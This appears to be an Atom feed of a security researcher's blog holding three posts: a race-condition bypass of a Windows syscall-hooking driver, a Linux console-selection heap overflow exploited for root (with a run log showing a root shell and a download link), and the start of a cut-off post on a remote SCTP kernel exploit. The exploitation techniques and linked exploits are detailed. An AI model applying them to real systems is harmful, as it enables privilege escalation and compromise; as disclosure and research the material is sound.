<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4807890350046901892</id><updated>2011-07-31T10:08:40.413+02:00</updated><title type='text'>kernelbof</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://kernelbof.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4807890350046901892/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://kernelbof.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>sgrakkyu</name><uri>http://www.blogger.com/profile/05705465328555558803</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='17' src='http://3.bp.blogspot.com/_w2Wa_-5lz3w/SfXrjxKUslI/AAAAAAAAAAM/yC7p_wa1zB8/S220/screen-capture.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>3</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4807890350046901892.post-8420763838073276037</id><published>2010-05-16T01:28:00.023+02:00</published><updated>2010-05-16T12:13:08.764+02:00</updated><title type='text'>Security is Burning -  Everything Old is New Again</title><content type='html'>Every time I convince myself not to make any more public posts, something almost magically occurs to make me change my mind.&lt;br /&gt;The day before yesterday was a particularly boring day, when out of the blue a friend of mine dropped me an email bearing a link along with the following tongue-in-cheek remark:&lt;br /&gt;&lt;br /&gt;"Looks familiar, doesn't it? :)))))"&lt;br /&gt;&lt;br /&gt;What he linked me to was this &lt;a href="http://www.matousec.com/info/articles/khobe-8.0-earthquake-for-windows-desktop-security-software.php"&gt;URL&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;It seems the latest trend in security research right now involves people forging new "names" for ~decade-old security issues.  In this particular case, the attack referred to by the Matousec link was generously rechristened an "argument-switch attack".  Are we that short on things to talk about? Or maybe we're all just assumed to be amnesiacs by our peers? Who knows.&lt;br /&gt;&lt;br /&gt;Just to cite just a few references  (there are many more out there) to the&lt;br /&gt;"Awful and Gruesome System Call Wrapper Flaw-By-Design" approach:&lt;br /&gt;&lt;br /&gt;- 1) &lt;a href="http://seclists.org/bugtraq/2003/Dec/351"&gt;http://seclists.org/bugtraq/2003/Dec/351&lt;/a&gt; - Andrey Kolishak&lt;br /&gt;&lt;br /&gt;- 2) &lt;a href="http://www.watson.org/%7Erobert/2007woot/2007usenixwoot-exploitingconcurrency.pdf"&gt;http://www.watson.org/~robert/2007woot/2007usenixwoot-exploitingconcurrency.pdf&lt;/a&gt; - Robert Watson&lt;br /&gt;&lt;br /&gt;- 3) &lt;a href="http://events.ccc.de/congress/2007/Fahrplan/events/2353.en.html"&gt;http://events.ccc.de/congress/2007/Fahrplan/events/2353.en.html &lt;/a&gt;- myself and twiz&lt;br /&gt;&lt;br /&gt;What's funny is that when I re-read what I myself wrote in that presentation [&lt;a href="http://events.ccc.de/congress/2007/Fahrplan/events/2353.en.html"&gt;3&lt;/a&gt;], I realized that I'd *also* "&lt;span style="font-style: italic;"&gt;forged&lt;/span&gt;" a ridiculous new name, as well: "&lt;span style="font-style: italic;"&gt;Handle Object Redirect Attacks&lt;/span&gt;" -- woot! Go me! It's so irresistible, forging useless new names!!&lt;br /&gt;&lt;br /&gt;I don’t  want to criticize the work of any other researchers, and I tend to think that the Matousec  people did find these issues by themselves –- spending (wasting?) a lot of time attempting also to advise security firms about the presence of this issue on almost all of their products... But despite this fact, I can state with a good degree of certainty  that almost all of the major AV firms HAVE KNOWN about it for years.&lt;br /&gt;&lt;br /&gt;Anyone dealing with this sort of thing also knows why they didn't change/fix anything. Is it worth changing, when you consider comparing the effort of changing the products' core engines against the real risk ? I think not.&lt;br /&gt;&lt;br /&gt;As a side-note... we never really thought that any of this was a critical issue, to begin with… after all, I'm pretty sure that by now most people in the security field are aware of the fact that running untrusted native code on a box practically translates to 'ring 0 access'...&lt;br /&gt;but hey -- that's a whole other story entirely. :)&lt;br /&gt;&lt;br /&gt;Moreover there is cause to have reasonable doubt about how deep such research has actually been.  Citing from their article:&lt;br /&gt;&lt;br /&gt;"&lt;span style="font-style: italic;"&gt;The argument-switch attack requires specific behavior from system scheduler which is impossible to ensure from user mode.&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;Thinking “Good! Maybe they simply wrote an in-depth analysis only for their customers?” (citing from their article: “&lt;span style="font-style: italic;"&gt;The full results of the research were offered to our clients and other software vendors&lt;/span&gt;”. Who knows?! :D )&lt;br /&gt;&lt;br /&gt;Well, stating that the scheduler behavior cannot be controlled at all from userland is a little simplistic. As anybody who has dealt with kernel exploitation knows very well, there is no way the kernel can trust the user land. If the vulnerable kernel control path runs in process-context and it directly references a virtual userland address, you can always force it to perform a deterministic context-switch. This can be done indistinctly, and of course one-shot,  on both Multi-processor and Uni-processor systems.&lt;br /&gt;&lt;br /&gt;I've seen a lot of posts speculating against the fact that this vulnerability can be exploited using only a bruteforce approach and that this is reliable with a few tries only on SMP boxes.&lt;br /&gt;&lt;br /&gt;That’s &lt;span style="font-style: italic;"&gt;NOT&lt;/span&gt; true.&lt;br /&gt;&lt;br /&gt;Using a bruteforce approach, sooner or later the check WILL certainly get bypassed, true…, but what do you do if the AV engine simply blocks the first attempt, showing a process-blocking pop-up or blacklisting the process? etc.. In my humble opinion, taking this approach accomplishes little more than making the vulnerability completely useless (ie, even more than it already was to begin with). The bypass MUST be one-shot-always.&lt;br /&gt;&lt;br /&gt;I think it is now time to show the PoC I wrote during the presentation [&lt;a href="http://events.ccc.de/congress/2007/Fahrplan/events/2353.en.html"&gt;3&lt;/a&gt;] but never released till now. It exploits the “&lt;span style="font-style: italic;"&gt;Demand Paging&lt;/span&gt;” mechanism together with the “&lt;span style="font-style: italic;"&gt;Direct I/O&lt;/span&gt;” and cache write-through to accomplish the one-shot bypass.&lt;br /&gt;&lt;br /&gt;Modern OSs have supported these concepts for ages, and exploiting them to control the context switch is, in most of the cases, an easy task;   Windows is no exception.  The PoC demonstrates how to bypass one-shot the famous &lt;span style="font-style: italic;"&gt;hookdemo.sys&lt;/span&gt; vulnerable driver (written by Andrey Kolishak in [&lt;a href="http://seclists.org/bugtraq/2003/Dec/351"&gt;1&lt;/a&gt;]) on Uni-Processor systems.&lt;br /&gt;&lt;br /&gt;The driver simply wraps the &lt;span style="font-style: italic;"&gt;ZwOpenKey() &lt;/span&gt;system call, trying to prevent access to the following key: “&lt;span style="font-style: italic;"&gt;\HKEY_LOCAL_MACHINE\Software\hookdemo\test1&lt;/span&gt;”.&lt;br /&gt;The driver uses two different methods to deny access to the given resource Registry key. The following PoC has been written to address the first (default) hook implementation which dereferences the userland object twice.&lt;br /&gt;&lt;br /&gt;The PoC code is straightforward. It manages two different string names.&lt;br /&gt;&lt;br /&gt;A monitored key: “&lt;span style="font-style: italic;"&gt;\HKEY_LOCAL_MACHINE\Software\hookdemo\test1&lt;/span&gt;”&lt;br /&gt;A fake key:            “&lt;span style="font-style: italic;"&gt;\HKEY_LOCAL_MACHINE\Software\hookfake\test1&lt;/span&gt;” .&lt;br /&gt;&lt;br /&gt;The userland process issues a system call using the fake key while a racer thread modifies it after the thread issuing the system call gets switched away from the current CPU. Everything works one-shot in a deterministic way. Let’s see how:&lt;br /&gt;&lt;br /&gt;The userland process first creates (&lt;span style="font-style: italic;"&gt;CreateFile()&lt;/span&gt;)  a non-existent random file name using the Direct I/O flags (which is FILE_FLAG_NO_BUFFERING on Windows) . Next, respecting the granularity alignment constrains, the code writes the last common part of the key (“&lt;span style="font-style: italic;"&gt;test1&lt;/span&gt;”) into this file (&lt;span style="font-style: italic;"&gt;WriteFile()&lt;/span&gt;) and closes the handle. Since the Cache Manager cannot rely on the system file cache during the next file-read, the kernel is forced to access the file on the disk, issuing an arbitrary reschedule. Using the FILE_FLAG_WRITE_THROUGH flag alone is not enough since the data will be suddenly written onto the disk but at the same time the system file cache gets filled with the actual data and will be reused later.&lt;br /&gt;&lt;br /&gt;The next step concerns the creation of double memory mapping  (&lt;span style="font-style: italic;"&gt;CreateFileMapping()&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;MapViewOfFileEx()&lt;/span&gt;). The former is an anonymous mapping. The latter is placed right after the former map  and maps the first section of the aforementioned file. Since Windows uses the Demand Paging mechanism, the system just creates an internal structure to keep track of the new mapping and returns.  The file data corresponding to the actual mapping is not pushed into the cache and no page tables are even set up. Now that the two mappings are created, we can put the former part of the fake key (“&lt;span style="font-style: italic;"&gt;\HKEY_LOCAL_MACHINE\Software\hookfake\&lt;/span&gt;”)  into the last part of the first mapping. Doing so, the former part of the key string is already in memory and the latter contiguous part exists only within the disk and is not yet loaded into memory.&lt;br /&gt;&lt;br /&gt;We can now manually build the system call parameters, putting the address of the key string into the UNICODE_STRING object referenced by the OBJECT_ATTRIBUTES structure.&lt;br /&gt;We need to do one last thing: before invoking the system call, we need to set up the racer thread. This thread spins on a process global variable, waiting for its state change. When the state changes the racer thread substitutes the “&lt;span style="font-style: italic;"&gt;hookfake&lt;/span&gt;” string with the “&lt;span style="font-style: italic;"&gt;hookdemo&lt;/span&gt;” string, restoring the original key:  “&lt;span style="font-style: italic;"&gt;\HKEY_LOCAL_MACHINE\Software\hookdemo\test1&lt;/span&gt;”.&lt;br /&gt;&lt;br /&gt;But when will this be done? Let’s take a look at the &lt;span style="font-style: italic;"&gt;hookdemo.sys&lt;/span&gt; driver:&lt;br /&gt;&lt;br /&gt;During the &lt;span style="font-style: italic;"&gt;NewZeOpenKey()&lt;/span&gt; system call wrapper routine, the code accesses the user-supplied key string at this line:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[ ... ]&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;rc = RtlAppendUnicodeStringToString(&amp;amp;KeyName, ObjectAttributes-&gt;ObjectName);&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;[ ... ]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ObjectName&lt;/span&gt; is the UNICODE_STRING structure holding the reference to our key string.   When the driver tries to copy the final part of the key string (the one placed on the second mapping: “&lt;span style="font-style: italic;"&gt;test1&lt;/span&gt;”) into the local &lt;span style="font-style: italic;"&gt;KeyName&lt;/span&gt; object, the system generates a page fault since no page tables have been set up yet.&lt;br /&gt;&lt;br /&gt;Moreover, the Windows Cache Manager realizes that 1) there is no cache available 2) the file I/O and memory mapped file &lt;span style="font-weight: bold;"&gt;MUST NOT&lt;/span&gt; pass through the cache (since the file has been opened with the  FILE_FLAG_NO_BUFFERING) and begins a disk data transfer putting the process to sleep, thus rescheduling!! At this point, the wrapper routine has already copied the former part of the key; when the thread is scheduled back, the routine simply continues to copy the remaining part (and everything happens totally transparently from the driver wrapper perspective).&lt;br /&gt;&lt;br /&gt;Just after the context switch occurs, the racer thread modifies the original (already copied) string and exits. Finally the original system call, which will be called by the system call wrapper, will manage a different key string: the one we are interested in! Game Over!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Just a side note: to succeed we need for the two threads to be serialized. The second thread must not run before the first thread is scheduled, but at the same time it has to run only AFTER the former thread invokes the system call. This is achieved by making the former thread set a global spinning variable which will be monitored by the racer thread. To be sure that the second thread will not modify the string before the first thread actually performs the system call we must assure that the two thread run always on the same processor! Ironically, this code natively performs correctly ONLY on Uni-processor boxes. If we are playing with multi-core/multi-processor systems we have to assure that all of the process’s threads run on a given CPU using the processor affinity API (e.g. &lt;span style="font-style: italic;"&gt;SetProcessAffinityMask()&lt;/span&gt;) as shown in the PoC.&lt;br /&gt;&lt;br /&gt;This is just a sample output:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;TSC Analysis: Before SystemCall = 174341962662283 After SystemCall = 174341962672609&lt;br /&gt;                    [Diff] =&gt; 10326&lt;br /&gt;Called normally: Key Handle: 0xffffffff&lt;br /&gt;&lt;br /&gt;TSC Analysis: Before SystemCall = 174341968174781 After SystemCall = 174342017146092&lt;br /&gt;                   [Diff] =&gt; 48971311&lt;br /&gt;Check Bypassed: Game Over! KeyHandle: 0x7bc&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As we can see, the first try has been made calling the system call without special mapping, directly passing the original key string. The wrapper intercepts the call and denies access to the registry key. The second try has been made using the special mapping describe above and, as we can see, the system call returns a valid handle. Game Over.&lt;br /&gt;&lt;br /&gt;The PoC code can be downloaded [&lt;a href="http://signalos.org/%7Esgrakkyu/ssdt_hook_race.c"&gt;here&lt;/a&gt;].&lt;br /&gt;The &lt;span style="font-style: italic;"&gt;hookdemo.sys&lt;/span&gt; code by Andrey Kolishak can be downloaded [&lt;a href="http://www.securesize.com/Resources/hookdemo.shtml"&gt;here&lt;/a&gt;].&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4807890350046901892-8420763838073276037?l=kernelbof.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kernelbof.blogspot.com/feeds/8420763838073276037/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kernelbof.blogspot.com/2010/05/security-is-burning-everything-old-is.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4807890350046901892/posts/default/8420763838073276037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4807890350046901892/posts/default/8420763838073276037'/><link rel='alternate' type='text/html' href='http://kernelbof.blogspot.com/2010/05/security-is-burning-everything-old-is.html' title='Security is Burning -  Everything Old is New Again'/><author><name>sgrakkyu</name><uri>http://www.blogger.com/profile/05705465328555558803</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='17' src='http://3.bp.blogspot.com/_w2Wa_-5lz3w/SfXrjxKUslI/AAAAAAAAAAM/yC7p_wa1zB8/S220/screen-capture.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4807890350046901892.post-6305074316533215238</id><published>2009-07-02T00:44:00.031+02:00</published><updated>2009-07-02T02:10:42.869+02:00</updated><title type='text'>Even when one byte matters</title><content type='html'>&lt;div style="text-align: center;"&gt;Common Vulnerabilities and Exposures&lt;/div&gt;&lt;span style="font-style:italic;"&gt;&lt;div style="text-align: center;"&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1046&lt;/div&gt;&lt;/span&gt;&lt;div style="text-align: left;"&gt;"The console selection feature in the Linux kernel 2.6.28 before 2.6.28.4, 2.6.25, and possibly earlier versions, when the UTF-8 console is used, allows physically proximate attackers to cause a denial of service (memory corruption) by selecting a small number of 3-byte UTF-8 characters, which triggers an "an off-by-two memory error. NOTE: it is not clear whether this issue crosses privilege boundaries."&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;Ubuntu Security Notice USN-751-1&lt;/div&gt;&lt;span style="font-style:italic;"&gt;&lt;div style="text-align: center;"&gt;http://www.ubuntu.com/usn/usn-751-1&lt;/div&gt;&lt;/span&gt;&lt;div style="text-align: left;"&gt;"The virtual consoles did not correctly handle certain UTF-8 sequences. A local attacker on the physical console could exploit this to cause a system crash, leading to a denial of service."&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;RedHat Security Advisory&lt;/div&gt;&lt;span style="font-style:italic;"&gt;&lt;div style="text-align: center;"&gt;http://rhn.redhat.com/errata/RHSA-2009-0451.html&lt;/div&gt;&lt;/span&gt;&lt;div style="text-align: left;"&gt;"An off-by-two error was found in the set_selection() function of the Linux kernel. This could allow a local, unprivileged user to cause a denial of service when making a selection of characters in a UTF-8 console.  Note: physical console access is required to exploit this issue."&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia, -webkit-fantasy;"&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia, fantasy;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;When I was looking at vendor advisories regarding SCTP remote issue i got attracted by another bug regarding hypothetical kernel heap overflow.&lt;br /&gt;For the umpteenth time the impact of the vulnerability is : DoS only.&lt;br /&gt;The impact of this issue is highly limited because of you need a VC attached to your process to exploit it, but it's worth spending some time on it  since it's not an everyday bug to find in the kernel.. it's an interesting scenario: an off-by-one(two) kernel heap overflow.&lt;br /&gt;&lt;br /&gt;As I did for the previous post, I'm not going to give any detailed&lt;br /&gt;description of the exploit: it should be straightforward enough to&lt;br /&gt;everyone who's used to play with internal kernel structures.&lt;br /&gt;What I'm about to do is, once again, just briefly introduce the&lt;br /&gt;vulnerability and then spend some time on showing how it is possible to&lt;br /&gt;turn it in a nearly one-shot exploit.&lt;br /&gt;&lt;br /&gt;Before going on i want to include a digression about this blog:&lt;br /&gt;the original idea was to publish a month by month exploit regarding  DoS-claiming-only vulnerability in the linux kernel.&lt;br /&gt;After publishing the first post, about SCTP remote exploit, i received some roasts.&lt;br /&gt;Someone pulled me down about disclosing a few cool stuff.&lt;br /&gt;I want to point out that i just  wrote the exploit: i did not kill the vulnerability.&lt;br /&gt;I don't like full disclosure, at least i don't like what full disclosure has become today:  a freaking race between killer-vulns-guys.&lt;br /&gt;Even if  i think  there's a big difference between killing vulnerabilities  and writing good exploit code i 'm not sure if i'll continue publishing these stuffs.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;The buffer is allocated here:&lt;br /&gt;file: &lt;i&gt;/drivers/char/selection.c&lt;/i&gt;&lt;br /&gt;func: &lt;i&gt;set_selection()&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;i&gt;multiplier = use_unicode ? 3 : 1;&lt;br /&gt;bp = kmalloc((sel_end-sel_start)/2*multiplier+1, GFP_KERNEL);&lt;/i&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial, -webkit-fantasy;"&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia, fantasy;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;then the function copies the buffer:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;i&gt;sel_buffer = bp;&lt;br /&gt;obp = bp;&lt;br /&gt;for (i = sel_start; i &lt;= sel_end; i += 2) { &lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;i&gt;c = sel_pos(i); &lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;i&gt;if (use_unicode) &lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;i&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;bp += store_utf8(c, bp);&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;i&gt;...&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;i&gt;...&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The loop goes from &lt;i&gt;sel_start&lt;/i&gt; to &lt;i&gt;sel_end&lt;/i&gt; (inclusive). The last character is not multiplied by multiplier (which has value 3) and so we can overflow the buffer by 1 or 2 byte. To make the overflow meaningful we have to allocate a buffer close to the size of a cache object slab or the overflow will end up in the pad zone. Since we can control the "&lt;i&gt;delta&lt;/i&gt;" between &lt;i&gt;sel_start&lt;/i&gt; and &lt;i&gt;sel_end&lt;/i&gt; we can arbitrary choose the slub to be used. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;On of the better slub to pick usually is the 96 bytes slub.. but it doesn't fulfill our goal because: &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;63 / 2 * 3 + 1 =  94&lt;/span&gt;&lt;/i&gt; &lt;/div&gt;&lt;div&gt;(if we overflow 2 byte we get 96.. no  meaningful overflow happens..)&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;64 / 2 * 3 + 1= 97&lt;/span&gt; &lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;/i&gt; (too large to fit in..)&lt;/div&gt;&lt;div&gt;We pick instead the 128 slub cache.. using a gap equal to:&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;84 / 2 * 3 =  127 &lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;/span&gt;&lt;/i&gt;(if we overflow 2 bytes we have meaningful off-by-one heap overflow)  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now we can overflow into another 128 byte object which has some interesting meaningful pointer or we can smash internal SLUB  structure. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;The exploit takes the latter approach smashing internal SLUB structure taking full control of the SLUB allocation engine.&lt;br /&gt;I decide to use again a previously disclosed structure as a placeholder: SCTP ssnmap struct.&lt;br /&gt;&lt;div&gt;This can lead to some problem with SELinux.&lt;br /&gt;There are other interesting structures to pick in the place of SCTP ones but it is not worth showing them here for such an not useful exploit.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;A couple of words about lack of full-recovery in the exploit. On boxes protected by zero mapping kernel protection the code leaves two descriptors holding smashed pointers in its internal structures. Before executing the shell the code migrates those descriptors inside a child process. When this child process will be killed (after reboot?) the kernel oops.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;A different way could be:&lt;br /&gt;- migrate descriptors inside some daemon using ptrace()/SCM_RIGHT&lt;br /&gt;- directly patch smashed pointers adding code to the ring0 shellcode&lt;br /&gt;- using a stupid lkm&lt;br /&gt;&lt;br /&gt;The exploit works only on x86-64 platform with SLUB allocator but anyone can run it on x86 kernel modifying a couple of lines.&lt;br /&gt;&lt;br /&gt;Talking about "external resources", the exploit uses "/proc/slabinfo" and "/proc/kallsyms". The former is not crucial but increases the exploitation odds close to 100% on idle boxes. The latter is not needed if you have access to the kernel image.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'd like to thank twiz for his pioneer work on original old SLAB exploitation approach: it helps me much in abusing new SLUB counterpart. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;Tested on target:&lt;br /&gt;&lt;i&gt;Ubuntu 8.04 x86_64&lt;/i&gt; &lt;i&gt;(generic/server)&lt;br /&gt;Ubuntu 8.10 x86_64 (generic/server)&lt;br /&gt;Fedora Core 10 x86_64 (default installed kernel - without SElinux)&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;$ ./tioctl_houdini&lt;br /&gt;[**] Patching ring0 shellcode with userspace addr: 0x4017e0&lt;br /&gt;[**] Using port: 25433&lt;br /&gt;[**] Getting slab info...&lt;br /&gt;[**] Mapping Segments...&lt;br /&gt;[**] Trying mapping safe page...Page Protection Present (Unable to Map Safe Page)&lt;br /&gt;[**] Mapping High Address Page (don't kill placeholder child)&lt;br /&gt;[**] Mapping Code Page... Done&lt;br /&gt;[**] Binding on CPU 0&lt;br /&gt;[**] Start Server Thread..&lt;div&gt;...&lt;br /&gt;...&lt;br /&gt;...&lt;br /&gt;┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼&lt;br /&gt;┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼&lt;br /&gt;┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼&lt;br /&gt;[**] Umapped end-to-end fd: 212&lt;br /&gt;[**] Unsafe  fd: ( 210 224 214 212 )&lt;br /&gt;[**] Hijacking fops...&lt;br /&gt;[**] Migrate evil unsafe fds to child process..&lt;br /&gt;[**] Child process 25463 _MUST_ NOT die..keep it alive:)&lt;br /&gt;[**] Got root!&lt;br /&gt;# id&lt;br /&gt;uid=0(root) gid=0(root) groups=1001(anon)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;GAME OVER&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The exploit code can be downloaded &lt;a href="http://sgrakkyu.antifork.org/tiocl_houdini.c"&gt;here&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4807890350046901892-6305074316533215238?l=kernelbof.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kernelbof.blogspot.com/feeds/6305074316533215238/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4807890350046901892/posts/default/6305074316533215238'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4807890350046901892/posts/default/6305074316533215238'/><link rel='alternate' type='text/html' href='http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html' title='Even when one byte matters'/><author><name>sgrakkyu</name><uri>http://www.blogger.com/profile/05705465328555558803</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='17' src='http://3.bp.blogspot.com/_w2Wa_-5lz3w/SfXrjxKUslI/AAAAAAAAAAM/yC7p_wa1zB8/S220/screen-capture.png'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4807890350046901892.post-4081104333477452724</id><published>2009-04-27T19:35:00.031+02:00</published><updated>2009-04-28T02:28:10.731+02:00</updated><title type='text'>When a "potential D.o.S." means a one-shot remote kernel exploit: the SCTP story</title><content type='html'>&lt;div style="text-align: center;"&gt;Common  Vulnerabilities and Exposures&lt;br /&gt;&lt;span style="font-style: italic;"&gt;http://cve.mitre.org/cgi-bi/cvename.cgi?name=CVE-2009-0065&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;"Buffer overflow in net/sctp/sm_statefuns.c in the Stream Control Transmission Protocol (sctp) implementation in the Linux kernel before 2.6.28-git8 allows remote attackers to have an unknown impact via an FWD-TSN (aka FORWARD-TSN) chunk with a large stream ID. "&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;Ubuntu Security Notice USN-751-1&lt;br /&gt;&lt;span style="font-style: italic;"&gt;http://www.ubuntu.com/usn/usn-751-1&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;"The SCTP stack did not correctly validate FORWARD-TSN packets. A remote attacker could send specially crafted SCTP traffic causing a system crash, leading to a denial of service. (CVE-2009-0065)"&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;RedHat Security Advisory&lt;br /&gt;&lt;span style="font-style: italic;"&gt;http://rhn.redhat.com/errata/RHSA-2009-0331.html&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;"a buffer overflow was found in the Linux kernel Partial Reliable Stream&lt;br /&gt;Control Transmission Protocol (PR-SCTP) implementation.&lt;br /&gt;This could, potentially, lead to a denial of service if a Forward-TSN chunk is received&lt;br /&gt;with a large stream ID. (CVE-2009-0065, Important) "&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Potentially a DoS? Unknown Impact? Really? :D&lt;br /&gt;&lt;br /&gt;I'm wondering why kernel developers (or vendors?) continue to claim that kernel memory corruption are just Denial of Service. Most of the times they _are_ exploitable.. yes, even when the vulnerability is remotely triggered, yes.. even when the corruption takes place in a freaking slub in the middle of a kernel _heap_ .. yes even when you have kernel data pages marked NX and the kernel .text  read-only and yes, absolutely yes even  when you start only with a 16bit displacement...&lt;br /&gt;&lt;br /&gt;Last month one of my customer (that has a _custom_  deployed  sctp application on his network ) asked me if the vulnerability may have some impact on his systems. The answer? "Yes it does", and since someone thinks that is not exploitable and someone else speculates over a possible locally privilege escalation only (with remote host sending TSN packet) i decided to write a completely remote exploit.&lt;br /&gt;&lt;br /&gt;It is extremely reliable (nearly 